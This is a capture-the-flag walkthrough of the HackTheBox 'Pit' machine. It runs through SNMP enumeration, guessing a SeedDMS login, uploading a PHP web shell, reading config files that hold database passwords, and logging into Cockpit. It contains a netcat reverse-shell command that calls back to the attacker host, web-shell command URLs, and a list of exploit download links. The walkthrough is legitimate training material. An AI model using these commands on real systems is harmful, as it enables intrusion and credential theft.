HTB Pit Walkthrough
A technical walkthrough of the HackTheBox 'Pit' challenge.
Pit was a medium difficulty BOX, which really gave me a hard time; I thought I wouldn't be able to catch the root flag, but I managed to find my way to victory in the end. Let's see together what pitfalls were hiding this time.
The nmap scan:
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-22 23:49 CEST
Nmap scan report for 10.10.10.241
Host is up (0.041s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
| 256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_ 256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp open http nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open ssl/zeus-admin?
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 400 Bad request
| Content-Type: text/html; charset=utf8
| Transfer-Encoding: chunked
| X-DNS-Prefetch-Control: off
| Referrer-Policy: no-referrer
| X-Content-Type-Options: nosniff
| Cross-Origin-Resource-Policy: same-origin
| <!DOCTYPE html>
| <html>
| <head>
| <title>
| request
| </title>
| <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <style>
| body {
| margin: 0;
| font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
| font-size: 12px;
| line-height: 1.66666667;
| color: #333333;
| background-color: #f5f5f5;
| border: 0;
| vertical-align: middle;
| font-weight: 300;
|_ margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after: 2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9090-TCP:V=7.91%T=SSL%I=7%D=5/22%Time=60A97CC2%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,E70,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-Type:
SF:\x20text/html;\x20charset=utf8\r\nTransfer-Encoding:\x20chunked\r\nX-DN
SF:S-Prefetch-Control:\x20off\r\nReferrer-Policy:\x20no-referrer\r\nX-Cont
SF:ent-Type-Options:\x20nosniff\r\nCross-Origin-Resource-Policy:\x20same-o
SF:rigin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n\x20\x20\x20\x20
SF:<title>\r\nb\r\nBad\x20request\r\nd08\r\n</title>\n\x20\x20\x20\x20<met
SF:a\x20http-equiv=\"Content-Type\"\x20content=\"text/html;\x20charset=utf
SF:-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<style>\n\tbody\x
SF:20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20\"RedHatDi
SF:splay\",\x20\"Open\x20Sans\",\x20Helvetica,\x20Arial,\x20sans-serif;\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2012px;\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20line-height:\x201\.6666666
SF:7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#333333;\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20#
SF:f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20border:\
SF:x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vertical-align:\
SF:x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-w
SF:eight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20mar
SF:gin:\x200\x200\x2010p")%r(HTTPOptions,E70,"HTTP/1\.1\x20400\x20Bad\x20r
SF:equest\r\nContent-Type:\x20text/html;\x20charset=utf8\r\nTransfer-Encod
SF:ing:\x20chunked\r\nX-DNS-Prefetch-Control:\x20off\r\nReferrer-Policy:\x
SF:20no-referrer\r\nX-Content-Type-Options:\x20nosniff\r\nCross-Origin-Res
SF:ource-Policy:\x20same-origin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html>\n<
SF:head>\n\x20\x20\x20\x20<title>\r\nb\r\nBad\x20request\r\nd08\r\n</title
SF:>\n\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=\"te
SF:xt/html;\x20charset=utf-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\
SF:"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x
SF:20\x20<style>\n\tbody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fon
SF:t-family:\x20\"RedHatDisplay\",\x20\"Open\x20Sans\",\x20Helvetica,\x20A
SF:rial,\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20f
SF:ont-size:\x2012px;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20lin
SF:e-height:\x201\.66666667;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20color:\x20#333333;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0background-color:\x20#f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20border:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20vertical-align:\x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20font-weight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:}\n\x20\x20\x20\x20\x20\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20margin:\x200\x200\x2010p");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 208.70 secondsA lot of information, which however always lead us to the first approach to the BOX through portals. Two in particular, one on port 80 and the other on 9090 that reveal some information about the OS (CentOS) and a classic nginx service.
Reading between the lines of the nmap scan, an additional domain named dms-pit.htb is also visible. So I add this and the classic one now common to HTB BOXES, pit.htb in my /etc/hosts file. Unfortunately, the new domain seems to be unreachable anyway or maybe it is misconfigured (I get 403 - Forbidden on any routing). I tried a dirb session on all possible domains (pit.htb, pit.htb: 9090 and dms-pit.htb) but nothing came out. Reading the nmap scan again, I notice the string "ssl/zeus-admin" and for a while I concentrate on that, of course it could be our access point, but even in this case I make a "hole in the water"; after hours lost behind this rabbit hole I go back to the forum and read to "refer to the twit announcing the BOX" and going to read again it for good, I see a word that suggests something to me: WALK. It occurs to me that it could refer to the snmpwalk command, used to consult the machine's network information through the SNMP protocol. So I immediately perform a UDP scan always with nmap.
┌──(in7rud3r㉿Mykali)-[~]
└─$ sudo nmap -sU -T4 -v 10.10.10.241
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-23 11:03 CEST
Initiating Ping Scan at 11:03
Scanning 10.10.10.241 [4 ports]
Completed Ping Scan at 11:03, 0.19s elapsed (1 total hosts)
Initiating UDP Scan at 11:03
Scanning pit.htb (10.10.10.241) [1000 ports]
Increasing send delay for 10.10.10.241 from 0 to 50 due to max_successful_tryno increase to 5
Increasing send delay for 10.10.10.241 from 50 to 100 due to max_successful_tryno increase to 6
Warning: 10.10.10.241 giving up on port because retransmission cap hit (6).
Increasing send delay for 10.10.10.241 from 100 to 200 due to 11 out of 13 dropped probes since last increase.
UDP Scan Timing: About 5.27% done; ETC: 11:13 (0:09:17 remaining)
Increasing send delay for 10.10.10.241 from 200 to 400 due to 11 out of 11 dropped probes since last increase.
Increasing send delay for 10.10.10.241 from 400 to 800 due to 11 out of 11 dropped probes since last increase.
UDP Scan Timing: About 8.33% done; ETC: 11:15 (0:11:11 remaining)
UDP Scan Timing: About 11.13% done; ETC: 11:16 (0:12:07 remaining)
UDP Scan Timing: About 29.26% done; ETC: 11:19 (0:11:24 remaining)
UDP Scan Timing: About 35.27% done; ETC: 11:19 (0:10:35 remaining)
UDP Scan Timing: About 41.29% done; ETC: 11:19 (0:09:42 remaining)
UDP Scan Timing: About 46.89% done; ETC: 11:20 (0:08:51 remaining)
UDP Scan Timing: About 52.49% done; ETC: 11:20 (0:07:59 remaining)
UDP Scan Timing: About 57.79% done; ETC: 11:20 (0:07:08 remaining)
UDP Scan Timing: About 63.44% done; ETC: 11:20 (0:06:14 remaining)
UDP Scan Timing: About 68.56% done; ETC: 11:20 (0:05:21 remaining)
UDP Scan Timing: About 73.64% done; ETC: 11:20 (0:04:30 remaining)
UDP Scan Timing: About 79.03% done; ETC: 11:20 (0:03:35 remaining)
UDP Scan Timing: About 84.11% done; ETC: 11:20 (0:02:43 remaining)
UDP Scan Timing: About 89.19% done; ETC: 11:20 (0:01:51 remaining)
UDP Scan Timing: About 94.27% done; ETC: 11:20 (0:00:59 remaining)
Completed UDP Scan at 11:21, 1085.84s elapsed (1000 total ports)
Nmap scan report for pit.htb (10.10.10.241)
Host is up (0.041s latency).
Not shown: 985 filtered ports
PORT STATE SERVICE
161/udp open|filtered snmp
1046/udp open|filtered wfremotertm
1214/udp open|filtered fasttrack
1719/udp open|filtered h323gatestat
2967/udp open|filtered symantec-av
16086/udp open|filtered unknown
17331/udp open|filtered unknown
18156/udp open|filtered unknown
18485/udp open|filtered unknown
18617/udp open|filtered unknown
19415/udp open|filtered unknown
20665/udp open|filtered unknown
21366/udp open|filtered unknown
31073/udp open|filtered unknown
35438/udp open|filtered unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1086.21 seconds
Raw packets sent: 1548 (68.831KB) | Rcvd: 1477 (125.254KB)It seems that the SNMP service is operational, along with many other services, which I will return to later.
I have already faced with the SNMP protocol in the Intense BOX, I invite you to go and consult it, it is another very interesting BOX.
Ok, let's start contacting the service and see if it responds.
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/--==## DONE ##==--]
└─$ snmp-check 10.10.10.241 1 ⨯
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
[+] Try to connect to 10.10.10.241:161 using SNMPv1 and community 'public'
[*] System information:
Host IP address : 10.10.10.241
Hostname : pit.htb
Description : Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64
Contact : Root <root@localhost> (configure /etc/snmp/snmp.local.conf)
Location : Unknown (edit /etc/snmp/snmpd.conf)
Uptime snmp : 18:04:00.54
Uptime system : 18:03:14.69
System date : -
[*] Processes:
Id Status Name Path Parameters
1 runnable systemd /usr/lib/systemd/systemd --switched-root --system --deserialize 18
2 runnable kthreadd
3 unknown rcu_gp
[...]
379542 runnable php-fpm php-fpm: pool www
379546 unknown kworker/0:2-events
379554 unknown kworker/1:2-events_power_efficientIt would seem so, so let's start an in-depth scan with the same tool also used in the Intense BOX.
dheiland-r7┌──(in7rud3r㉿Mykali)-[~/…/_10.10.10.241 - Pit (lin)/attack/snmp/snmp]
└─$ ./snmpbw.pl 10.10.10.241 public 2 1
SNMP query: 10.10.10.241
Queue count: 0
SNMP SUCCESS: 10.10.10.241
┌──(in7rud3r㉿Mykali)-[~/…/_10.10.10.241 - Pit (lin)/attack/snmp/snmp]
└─$ ls -la
total 100
drwxr-xr-x 3 in7rud3r in7rud3r 4096 May 23 11:32 .
drwxr-xr-x 3 in7rud3r in7rud3r 4096 May 23 11:26 ..
-rw-r--r-- 1 in7rud3r in7rud3r 73331 May 23 11:32 10.10.10.241.snmp
[...]Well, I've read the entire file line by line, but haven't noticed a lot of interesting things (when you don't know exactly what to look for it's hard to focus on a mass of information like that returned by an SNMP service), moreover, it seems that it cannot write custom commands inside it as in the previous BOX, so I proceed with what can seem the most obvious thing: some credentials.
┌──(in7rud3r㉿Mykali)-[~/…/_10.10.10.241 - Pit (lin)/attack/snmp/snmp]
└─$ more 10.10.10.241.snmp | grep user 1 ⨯
user
guest_u user s0 s0 guest_r
root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
user_u user s0 s0 user_r
xguest_u user s0 s0 xguest_r
michelle user_u s0 *
05:44:29 up 18:18, 0 users, load average: 0.00, 0.00, 0.00"
.1.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.10 = STRING: "user"
.1.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.15 = STRING: "guest_u user s0 s0 guest_r"
.1.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.16 = STRING: "root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r"
.1.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.17 = STRING: "staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r"
.1.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.18 = STRING: "sysadm_u user s0 s0-s0:c0.c1023 sysadm_r"
.1.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.19 = STRING: "system_u user s0 s0-s0:c0.c1023 system_r unconfined_r"
.1.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.20 = STRING: "unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r"
.1.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.21 = STRING: "user_u user s0 s0 user_r"
.1.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.22 = STRING: "xguest_u user s0 s0 xguest_r"
.1.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.28 = STRING: "michelle user_u s0 *"
.1.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.31 = STRING: " 05:44:29 up 18:18, 0 users, load average: 0.00, 0.00, 0.00"So, in addition to the user root and a series of other unlikely users, an account michelle appears, of which however, we do not have the password. As for the Intense BOX, I try to make a bruteforce on the possible communities configured and available in the SNMP service (provided that someone has configured them) with the same git project used previously.
trailofbits┌──(in7rud3r㉿Mykali)-[~/…/_10.10.10.241 - Pit (lin)/attack/snmp/onesixtyone]
└─$ sudo ./onesixtyone -c dict.txt 10.10.10.241
Scanning 1 hosts, 51 communities
10.10.10.241 [public] Linux pit.htb 4.18.0-240.22.1.el8_3.x86_64 #1 SMP Thu Apr 8 19:01:30 UTC 2021 x86_64Unfortunately, I'm not as lucky as I was last time. To be really sure I do the same scan even with nmap and a different community list, but even in this case I get nothing.
┌──(in7rud3r㉿Mykali)-[~/…/_10.10.10.241 - Pit (lin)/attack/snmp/onesixtyone]
└─$ sudo nmap -Pn -sU -p161 --script=snmp-brute --script-args snmp-brute.communitiesdb=/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt 10.10.10.241
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-23 12:33 CEST
Nmap scan report for pit.htb (10.10.10.241)
Host is up.
PORT STATE SERVICE
161/udp open|filtered snmp
| snmp-brute:
|_ public - Valid credentials
Nmap done: 1 IP address (1 host up) scanned in 14.92 secondsOkay, then I spend a few moments on the metasploit framework, trying a couple of exploits for the SNMP protocol, but also in this case nothing that can penetrate the destruction of the BOX.
- exploit/linux/snmp/net_snmpd_rw_access
- exploit/linux/snmp/awind_snmp_exec
Nothing, as often happens once again at a dead end. Then I go back to the domain which returns 403 - Forbidden on all routings and I try to search if there is something inside the info retrieved from the SNMP, using the prefix in the domain name: dms.
┌──(in7rud3r㉿Mykali)-[~/…/_10.10.10.241 - Pit (lin)/attack/snmp/snmp]
└─$ cat 10.10.10.241.snmp | grep dms
.1.3.6.1.4.1.2021.9.1.2.2 = STRING: "/var/www/html/seeddms51x/seeddms"
.1.3.6.1.4.1.2021.9.1.3.2 = STRING: "/dev/mapper/cl-seeddms"This might be interesting. The first path seems to be in the standard site installation path, /var/www/html/. If the portal's root has been set to the standard one, the rest of the path could identify a valid routing (http://dms-pit.htb/seeddms51x/seeddms).
It works! The portal appears to be a free document management software. Sifting through the page source, I may also identify the version used.
On Exploit-db I also find some exploits, but none verified, despite everything I'd like to try them but all the exploit seems need to be logged in.
Unfortunately I can't find credentials of any kind, but I have at least a series of usernames, I could try a bruteforcing with dictionary, but first it's better to try some basic configuration, like, user:empty password or user:user, user:admin, etc. .. I don't have to go too far and the lucky combination is michelle:michelle; I can then access the portal.
I also tried to log in in ssh with these credentials, but obviously it would have been really too simple.
Browsing the portal, I find a section of the documents divided by user in which two users emerge, the first already known.
It would appear that michelle has permissions to upload only to her folder.
I also find the calendar section, where it should be possible to create events, but in this case there is something wrong, so I cannot try one of the exploits found on exploit-db, but I can go on with the other exploits.
Then I proceed with the upload of the php script that allows me to execute code on the remote server. The url to activate the exploit is the following (just replace 29 with the id of the uploaded file): http://dms-pit.htb/seeddms51x/data/1048576/29/1.php?cmd=ls -la.
The output is the one shown in the following screenshot.
It works! By verifying the user with which the exploit is running, through the whoami command, I discover that we are using the nginx user. Let's try to activate a reverse shell, using the URL http://dms-pit.htb/seeddms51x/data/1048576/29/1.php?cmd=nc 10.10.14.34 4444 -e /bin/bash.
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.10.241 - Pit (lin)/attack/dms]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.34] from pit.htb [10.10.10.241] 42352And it works too. Unfortunately there seems to be some task that deletes the uploaded file and kills the reverse shell process after a few minutes. I try to do some research through the shell, but the constant being disconnected makes any interaction with the remote machine difficult. I try to take advantage by looking for possible folders of interest within the information returned by the SNMP service.
┌──(in7rud3r㉿Mykali)-[~/…/_10.10.10.241 - Pit (lin)/attack/snmp/snmp]
└─$ cat 10.10.10.241.snmp | grep /
.1.3.6.1.2.1.1.4.0 = STRING: "Root <root@localhost> (configure /etc/snmp/snmp.local.conf)"
.1.3.6.1.2.1.1.6.0 = STRING: "Unknown (edit /etc/snmp/snmpd.conf)"
[...]
.1.3.6.1.2.1.25.4.2.1.4.1 = STRING: "/usr/lib/systemd/systemd"
.1.3.6.1.2.1.25.4.2.1.4.839 = STRING: "/usr/lib/systemd/systemd-journald"
.1.3.6.1.2.1.25.4.2.1.4.875 = STRING: "/usr/lib/systemd/systemd-udevd"
.1.3.6.1.2.1.25.4.2.1.4.987 = STRING: "/sbin/auditd"
.1.3.6.1.2.1.25.4.2.1.4.989 = STRING: "/usr/sbin/sedispatch"
.1.3.6.1.2.1.25.4.2.1.4.1021 = STRING: "/usr/sbin/irqbalance"
.1.3.6.1.2.1.25.4.2.1.4.1022 = STRING: "/usr/bin/VGAuthService"
.1.3.6.1.2.1.25.4.2.1.4.1023 = STRING: "/usr/bin/vmtoolsd"
.1.3.6.1.2.1.25.4.2.1.4.1024 = STRING: "/usr/bin/dbus-daemon"
.1.3.6.1.2.1.25.4.2.1.4.1027 = STRING: "/usr/sbin/sssd"
.1.3.6.1.2.1.25.4.2.1.4.1029 = STRING: "/usr/lib/polkit-1/polkitd"
.1.3.6.1.2.1.25.4.2.1.4.1037 = STRING: "/usr/sbin/chronyd"
.1.3.6.1.2.1.25.4.2.1.4.1043 = STRING: "/sbin/rngd"
.1.3.6.1.2.1.25.4.2.1.4.1072 = STRING: "/usr/libexec/sssd/sssd_be"
.1.3.6.1.2.1.25.4.2.1.4.1089 = STRING: "/usr/libexec/platform-python"
.1.3.6.1.2.1.25.4.2.1.4.1091 = STRING: "/usr/libexec/sssd/sssd_nss"
.1.3.6.1.2.1.25.4.2.1.4.1098 = STRING: "/usr/lib/systemd/systemd-logind"
.1.3.6.1.2.1.25.4.2.1.4.1099 = STRING: "/usr/sbin/NetworkManager"
.1.3.6.1.2.1.25.4.2.1.4.1111 = STRING: "/usr/sbin/sshd"
.1.3.6.1.2.1.25.4.2.1.4.1112 = STRING: "/usr/libexec/platform-python"
.1.3.6.1.2.1.25.4.2.1.4.1200 = STRING: "nginx: master process /usr/sbin/nginx"
.1.3.6.1.2.1.25.4.2.1.4.1258 = STRING: "/usr/sbin/crond"
.1.3.6.1.2.1.25.4.2.1.4.1305 = STRING: "/usr/libexec/mysqld"
.1.3.6.1.2.1.25.4.2.1.4.1356 = STRING: "/sbin/agetty"
.1.3.6.1.2.1.25.4.2.1.4.1502 = STRING: "/usr/sbin/rsyslogd"
.1.3.6.1.2.1.25.4.2.1.4.2184 = STRING: "/usr/lib/systemd/systemd"
.1.3.6.1.2.1.25.4.2.1.4.2277 = STRING: "/usr/libexec/packagekitd"
.1.3.6.1.2.1.25.4.2.1.4.8696 = STRING: "/usr/libexec/platform-python"
.1.3.6.1.2.1.25.4.2.1.4.17060 = STRING: "/usr/sbin/snmpd"
.1.3.6.1.2.1.25.4.2.1.4.33532 = STRING: "/usr/bin/dbus-daemon"
.1.3.6.1.2.1.25.4.2.1.4.44265 = STRING: "/usr/libexec/cockpit-tls"
.1.3.6.1.2.1.25.4.2.1.4.117285 = STRING: "/usr/libexec/cockpit-ws"
.1.3.6.1.2.1.25.4.2.1.4.117299 = STRING: "/usr/libexec/cockpit-session"
.1.3.6.1.2.1.25.4.2.1.4.117304 = STRING: "/usr/bin/ssh-agent"
.1.3.6.1.2.1.25.4.2.1.4.117342 = STRING: "/usr/sbin/timedatex"
.1.3.6.1.2.1.25.4.2.1.4.117817 = STRING: "/bin/bash"
.1.3.6.1.2.1.25.4.2.1.4.121476 = STRING: "php-fpm: master process (/etc/php-fpm.conf)"
.1.3.6.1.2.1.25.4.2.1.5.1089 = STRING: "-s /usr/sbin/firewalld --nofork --nopid"
.1.3.6.1.2.1.25.4.2.1.5.1112 = STRING: "-Es /usr/sbin/tuned -l -P"
.1.3.6.1.2.1.25.4.2.1.5.1305 = STRING: "--basedir=/usr"
.1.3.6.1.2.1.25.4.2.1.5.8696 = STRING: "-Es /usr/share/setroubleshoot/SetroubleshootFixit.py"
.1.3.6.1.4.1.2021.9.1.2.1 = STRING: "/"
.1.3.6.1.4.1.2021.9.1.2.2 = STRING: "/var/www/html/seeddms51x/seeddms"
.1.3.6.1.4.1.2021.9.1.3.1 = STRING: "/dev/mapper/cl-root"
.1.3.6.1.4.1.2021.9.1.3.2 = STRING: "/dev/mapper/cl-seeddms"
.1.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: "/usr/bin/monitor"Nothing catches my attention and checking them all would be a long process considering the constant disconnections. So I decide to go back to my short shell and look in the folders immediately next to the one where I land with the shell. I find two folders in which there is an xml configuration file.
- http://dms-pit.htb/seeddms51x/data/1048576/29/1.php?cmd=ls -la ../../
- http://dms-pit.htb/seeddms51x/data/1048576/29/1.php?cmd=ls -la ../../conf
I decide to download them both and view their content. The two URLs to download the files are the following, but being xml files, to see the content it is necessary to view the source.
- http://dms-pit.htb/seeddms51x/data/1048576/32/1.php?cmd=cat ../../conf/settings.xml
- http://dms-pit.htb/seeddms51x/data/1048576/32/1.php?cmd=cat ../../../conf/settings.xml
The files appear to contain the same information, but with different values, despite everything I find something interesting.
<database dbDriver="sqlite" dbHostname="localhost" dbDatabase="/home/www-data/seeddms51x/data/content.db" dbUser="seeddms" dbPass="seeddms" doNotCheckVersion="false">
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">It would seem that I have some credentials now, obviously one of the two seems to be too trivial, but better not to leave out anything. The problem is where to use these credentials (and we do not exclude that even the password applied to one of the users already in our possession may be valid). In any case, let's take a look at the /etc/passwd file to see if a seeddms user really exists.
http://dms-pit.htb/seeddms51x/data/1048576/33/1.php?cmd=cat%20/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
polkitd:x:998:995:User for polkitd:/:/sbin/nologin
unbound:x:997:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin
sssd:x:996:992:User for sssd:/:/sbin/nologin
chrony:x:995:991::/var/lib/chrony:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
michelle:x:1000:1000::/home/michelle:/bin/bash
setroubleshoot:x:994:990::/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws:x:993:989:User for cockpit-ws:/nonexisting:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/sbin/nologin
nginx:x:992:988:Nginx web server:/var/lib/nginx:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
cockpit-wsinstance:x:991:987:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rngd:x:990:986:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologinIt would seem not. Well, before a bruteforce, let's proceed as before, applying the password found to the accounts already identified. Obviously I also try the ssh but it does not give good results. The stroke of luck comes using the password ied^ieY6xoquu with michelle user on the portal at port 9090.
The interface allows you to manage the server, obviously using the user with which you are logged in. Through the terminal it is possible to use a shell on the remote system.
And the user flag is pwned. Finally I also have a persistent shell.
I decide to use a script similar to linpeas.sh which should directly suggest me the possible exploits applicable to the machine.
mzet-Since the remote machine cannot have access to the internet, I download the script to my machine, activate a web server and download the script from the remote machine (I call the file les.sh), pointing to my web server. Don't forget to make the script executable.
[michelle@pit temp]$ ./les.sh
Available information:
Kernel version: 4.18.0
Architecture: x86_64
Distribution: RHEL
Distribution version: 8
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
Searching among:
76 kernel space exploits
48 user space exploits
Possible Exploits:
[+] [CVE-2021-27365] linux-iscsi
Details: https://blog.grimm-co.com/2021/03/new-old-bugs-in-linux-kernel.html
Exposure: probable
Tags: [ RHEL=8 ]
Download URL: https://codeload.github.com/grimm-co/NotQuite0DayFriday/zip/trunk
Comments: CONFIG_SLAB_FREELIST_HARDENED must not be enabled
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: mint=19,ubuntu=18|20, debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2019-18634] sudo pwfeedback
Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
Exposure: less probable
Tags: mint=19
Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
Comments: sudo configuration requires pwfeedback to be enabled.
[+] [CVE-2019-15666] XFRM_UAF
Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled
